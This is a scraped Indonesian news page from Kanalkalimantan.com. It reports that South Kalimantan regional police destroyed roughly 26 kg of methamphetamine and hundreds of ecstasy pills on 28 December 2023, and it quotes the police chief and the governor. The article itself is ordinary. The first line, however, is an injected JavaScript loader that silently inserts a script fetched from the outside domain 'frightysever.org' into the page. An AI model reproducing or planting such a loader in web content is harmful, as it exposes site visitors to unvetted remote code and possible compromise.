(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sejumlah barang bukti narkotika hasil sitaan Direktorat Reserse Narkoba (Diteresnakroba) Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) dimusnahkan, Kamis (28/12/2023) siang.
Barang bukti yang dimusnahkan antara lain sabu seberat 26,628,57 gram (26,62 Kg) dan ratusan butir pil ekstasi hasil dari pengungkapan kasus selama periode 29 September hingga 13 Desember 2023.
“Sabu yang dimusnahkan kurang lebih 26 kilogram, kemudian ekstasi 579 butir dan 6.969 butir carisoprodal,” ungkap Kapolda Kalsel, Irjen Pol Winarto.
Baca juga: Gen-AMIN Kalsel Terbentuk, Siap Perjuangkan Harapan Anak Muda Kalsel
Selain menyita barang bukti dari hasil pengungkapan 40 kasus selama lebih dari bulan Polda Kalsel dikatakan juga mengamankan 64 tersangka, terdiri dari 54 laki-laki dan 10 perempuan.
Para tersangka dihadirkan saat konferensi pers pengungkapan kasus dan pemusnahan narkotika di aula Bhayangkari Manthilda Batlayeri, Kamis (28/12/2023) siang.
Lanjut Irjen Winarto, dari penyitaan dan pemusnahan barang bukti narkoba senilai Rp27.035.570.000 itu membantu menyelamatkan sebanyak 114.067 jiwa dari bahaya penyalahgunaan narkoba.
Pihaknya dikatakan Kapolda akan terus berkomitmen untuk memberantas peredaran narkoba di Kalsel. Di antaranya dengan melakuan penyelidikan lebih jauh terkait pola dan modus barang haram tersebut masuk ke Kalsel.
Baca juga: Cek Proyek Pembangunan Akhir Tahun, Ini Kata Wali Kota Aditya
“Kita terus melakukan pemantauan dan penyelidikan lewat mana barang haram ini diselundupkan, tidak mungkin begitu-begitu saja, mereka pasti akan berusaha merubah cara memasukan barang-barang ini,” ujar Kapolda Kalsel.
Pemusnahan barang bukti narkotika yang dipimpin langsung Kapolda Kalsel Irjen Pol Winarto juga dihadiri Gubernur Kalsel H Sahbirin Noor dan Forkopimda.
Gubernur Kalsel Sahbirin Noor mengapresiasi keberhasilan Polda Kalsel dalam pengungkapan kasus peredaran gelap narkoba di Kalsel.
Orang nomor satu di Kalsel ini menyebut akan terus mendukung pihak kepolisian untuk memberantas narkoba yang membahayakan masyarakat serta generasi di Kalsel.
Baca juga: Tiga Rumah Hangus di Pengambangan, Korban Nyawa Relawan Damkar
“Yang namanya narkoba itu merusak bangsa ini, merusak warga kita, oleh karena itu harus kita lawan bersama dan harus kita hajar yang namanyan penyalahgunaan narkoba,” katanya. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.